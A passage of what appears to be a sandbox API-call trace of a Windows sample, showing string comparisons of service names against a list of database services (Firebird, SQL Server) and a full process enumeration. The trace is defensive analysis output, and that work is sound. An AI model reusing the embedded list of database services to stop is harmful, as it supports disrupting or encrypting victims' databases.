[0221.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0221.818] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0221.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0221.818] lstrlenW (lpString="RpcSs") returned 5 [0221.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0221.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0221.818] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0221.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0221.818] lstrlenW (lpString="SamSs") returned 5 [0221.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0221.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0221.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0221.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0221.818] lstrlenW (lpString="Schedule") returned 8 [0221.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0221.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0221.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0221.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0221.818] lstrlenW (lpString="SecurityHealthService") returned 21 [0221.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0221.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0221.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0221.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0221.818] lstrlenW (lpString="SENS") returned 4 [0221.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0221.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0221.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0221.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0221.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0221.819] lstrlenW (lpString="ShellHWDetection") returned 16 [0221.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0221.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0221.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0221.819] lstrlenW (lpString="Spooler") returned 7 [0221.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0221.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0221.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0221.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0221.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0221.819] lstrlenW (lpString="SSDPSRV") returned 7 [0221.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0221.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0221.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0221.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0221.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0221.819] lstrlenW (lpString="StateRepository") returned 15 [0221.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0221.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0221.819] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0221.819] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0221.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0221.819] lstrlenW (lpString="SysMain") returned 7 [0221.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0221.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0221.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0221.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0221.820] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8068b8 | out: hHeap=0x790000) returned 1 [0221.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0221.970] Process32FirstW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.971] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.972] lstrlenW (lpString="System") returned 6 [0221.972] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.973] lstrlenW (lpString="smss.exe") returned 8 [0221.973] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.974] lstrlenW (lpString="csrss.exe") returned 9 [0221.974] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.975] lstrlenW (lpString="wininit.exe") returned 11 [0221.975] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.975] lstrlenW (lpString="csrss.exe") returned 9 [0221.975] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.976] lstrlenW (lpString="winlogon.exe") returned 12 [0221.976] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.977] lstrlenW (lpString="services.exe") returned 12 [0221.977] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.978] lstrlenW (lpString="lsass.exe") returned 9 [0221.978] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.979] lstrlenW (lpString="svchost.exe") returned 11 [0221.979] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0221.980] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0221.980] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0221.981] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0221.981] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.982] lstrlenW (lpString="svchost.exe") returned 11 [0221.982] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.983] lstrlenW (lpString="dwm.exe") returned 7 [0221.983] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.984] lstrlenW (lpString="svchost.exe") returned 11 [0221.984] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.985] lstrlenW (lpString="svchost.exe") returned 11 [0221.985] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.986] lstrlenW (lpString="svchost.exe") returned 11 [0221.986] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.987] lstrlenW (lpString="svchost.exe") returned 11 [0221.987] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.988] lstrlenW (lpString="svchost.exe") returned 11 [0221.988] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.988] lstrlenW (lpString="svchost.exe") returned 11 [0221.989] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.989] lstrlenW (lpString="svchost.exe") returned 11 [0221.989] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.990] lstrlenW (lpString="svchost.exe") returned 11 [0221.990] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.991] lstrlenW (lpString="svchost.exe") returned 11 [0221.991] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.992] lstrlenW (lpString="spoolsv.exe") returned 11 [0221.992] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.993] lstrlenW (lpString="svchost.exe") returned 11 [0221.993] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.994] lstrlenW (lpString="svchost.exe") returned 11 [0221.994] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.994] lstrlenW (lpString="audiodg.exe") returned 11 [0221.994] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.995] lstrlenW (lpString="sihost.exe") returned 10 [0221.995] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.996] lstrlenW (lpString="svchost.exe") returned 11 [0221.996] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.997] lstrlenW (lpString="taskhostw.exe") returned 13 [0221.997] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0221.998] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0221.998] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0221.999] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0221.999] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.000] lstrlenW (lpString="explorer.exe") returned 12 [0222.000] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0222.001] lstrlenW (lpString="Memory Compression") returned 18 [0222.001] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.002] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0222.002] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.002] lstrlenW (lpString="SearchUI.exe") returned 12 [0222.003] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.075] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0222.075] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.076] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.076] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0222.076] lstrlenW (lpString="entering.exe") returned 12 [0222.076] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0222.077] lstrlenW (lpString="literally.exe") returned 13 [0222.077] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0222.078] lstrlenW (lpString="prep.exe") returned 8 [0222.078] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0222.079] lstrlenW (lpString="homeless.exe") returned 12 [0222.079] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0222.079] lstrlenW (lpString="tips.exe") returned 8 [0222.079] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0222.080] lstrlenW (lpString="rhode_cow.exe") returned 13 [0222.080] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0222.081] lstrlenW (lpString="discount.exe") returned 12 [0222.081] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0222.082] lstrlenW (lpString="littleclosest.exe") returned 17 [0222.082] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0222.082] lstrlenW (lpString="compact.exe") returned 11 [0222.082] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0222.083] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0222.083] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0222.084] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0222.084] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0222.085] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0222.085] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0222.085] lstrlenW (lpString="vincentkills.exe") returned 16 [0222.085] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0222.086] lstrlenW (lpString="armstrong.exe") returned 13 [0222.086] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0222.087] lstrlenW (lpString="superb_guilty.exe") returned 17 [0222.087] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0222.088] lstrlenW (lpString="conditional employer.exe") returned 24 [0222.088] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0222.089] lstrlenW (lpString="middle shown.exe") returned 16 [0222.089] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0222.089] lstrlenW (lpString="forced_online.exe") returned 17 [0222.089] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0222.090] lstrlenW (lpString="knitting.exe") returned 12 [0222.090] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, 